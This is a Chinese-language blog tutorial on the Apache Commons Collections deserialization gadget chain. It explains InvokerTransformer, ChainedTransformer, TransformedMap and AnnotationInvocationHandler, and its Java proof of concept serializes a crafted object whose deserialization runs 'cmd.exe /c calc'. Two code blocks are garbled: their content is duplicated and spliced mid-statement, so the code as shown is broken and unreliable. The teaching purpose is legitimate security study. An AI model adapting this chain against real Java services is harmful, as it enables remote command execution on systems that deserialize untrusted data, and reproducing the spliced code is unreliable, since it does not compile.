序
经过一个多月的忙碌,终于是有时间来更一下此系列的文章了,本文中会涉及到java
反射和动态代理,如果你对相关不了解,建议先去学习下相关知识
CommonsCollections
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
Transformer
是一个接口,提供一个transform方法由实现类决定具体的转换逻辑
在Transformer
实现类中,我们主要来看一下InvokeTransformer
和ChainedTransformer
首先来看一下构造函数,Invoketransformer
共有两个构造函数
其中第一个只需要传入一个String
类型的methodName
,另一个除需传入methodName
外,还需要指定方法的参数类型以及具体的参数值
接下来看一下实现类的transform
具体实现
在transform
中在拿到传入的object
后,利用反射调用自身实例化时传入的方法,并将结果返回
到这里InvokeTransformer
的作用我们就大致了解了,当我们实例化一个InvokeTransformer
时传入一个要调用的方法名以及它的参数类型的具体的参数值
随后在调用transform
时指定一下方法的调用对象,InvokeTransformer
会自动利用反射去调用相关方法
如下利用Invoketransformer
完成调用Runtime.getRuntime().exec("calc")
1 2 3 4 5 6 7 8 9 10
|
Transformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
|
同样ChainedTransformer
也是Transformer
的一个实现类
它的构造函数需要我们传入一个Transformer
类型的数组
接着我们来看下transformer
实现
通过实现不难看出在调用 ChainedTransformer
的 transform
方法时,会循环数组,依次调用 Transformer
数
组中每个 Transformer
的 transform
方法,并将执行的结果传递给下一个 Transformer
,完成一个链式的调用
有了上面的ChainedTransformer
我们现在可以使用链式调用完成命令执行,接下来就需要找一个在对象操作时触发我们的ChainedTransformer
调用的桥梁-TransformedMap
从声明上不难看出,TransformedMap
继承自AbstractInputCheckedMapDecorator
作为装饰器使用,可以理解为Map提供增强功能
单从代码上可能有点不好理解,看下面的类图就一目了然了
当我们用TransformedMap
装饰一个map
,并进行put
时
TransformedMap
将会自动每个元素的transformer
方法,这也就和上面ChainedTransformer
衔接起来了
同样我们使用TransformedMap
并结合ChainedTransformer
完成调用Runtime.GetRuntime().exec("calc")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"cmd.exe /c calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<String,Object> hashMap = new HashMap<>();
Map map = TransformedMap.decorate(hashMap,chainedTransformer,null);
map.put("S0cke3t", Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"cmd.exe /c calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<String,Object> hashMap = new HashMap<>();
Map map = TransformedMap.decorate(hashMap,chainedTransformer,null);
map.put("S0cke3t",1);
|
AnnotationInvocationHandler
到目前为止我们找到了完成反序列化漏洞的两个关键步骤执行点
和利用链
,接下来还需要一个触发点
也就是重写了readObject
的类来将整个过程串起来
本节内容涉及到java
动态代理的一些内容和特性,不了解的朋友可以先去学习一下动态代理基础知识
AnnotationInvocationHandler
JDK原生类,用于注解形式的动态代理
先从readObject
看起
首先readObject
通过getInstance
获取到type
对应的注解类型,而要type
的条件在构造函数中也有要求
type
必须是一个注解,有且只有一个父接口并且是Annotation
,只有满足这些条件type
和memberValue
才会被赋值
回到readObject
在拿到注解类型后调用类型的memberTypes
获取到可注解可设置的值
随后使用while
循环这个map
并设置其中的值,但在设置值之前有一个条件
memberValues
中的值和获取到的注解类型中的值存在相同的值,并且这个值不是ExceptionProxy
的实例也不能是memberValues
的实例
到这里我们整个过程就串起来了
整理一下思路
首先我们需要一个AnnotationInvocationHandler
根据构造函数需要传入一个注解类一个Map
,并且根据上面赋值要求我们Map
中的key
要和注解类中有同样的值
根据这个思路可以找到很多可以使用的注解类,比如Target,Resource,Generated
等,笔者这里使用Resource
的name
属性
之后将这个map
使用TransformedMap
进行封装,使用TransformedMap
进行修饰
最后就是上面讲到的利用InvokeTransformer
完成链式调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| Map<Object,Object> hashmap = new HashMap<Object,Object>();
hashmap.put("name", 2); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"cmd.exe /c calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map transformedMap = TransformedMap.decorate(hashmap,null,chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Resource.class,transformedMap);
ByteArrayOutputStream exp=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(exp); oos.writeObject(handler); oos.flush(); oos.close(); ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois=new Map<Object,Object> hashmap = new HashMap<Object,Object>();
hashmap.put("name", 2); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"cmd.exe /c calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map transformedMap = TransformedMap.decorate(hashmap,null,chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Resource.class,transformedMap);
ByteArrayOutputStream exp=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(exp); oos.writeObject(handler); oos.flush(); oos.close(); ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois=new ObjectInputStream(out); Object obj=(Object) ois.readObject();
|
当然除了使用TransformedMap
还可以使用LazyMap
做为触发条件,其中涉及到的操作会比TransformedMap
稍微复杂一点。这部分内容有时间再补充
That’s all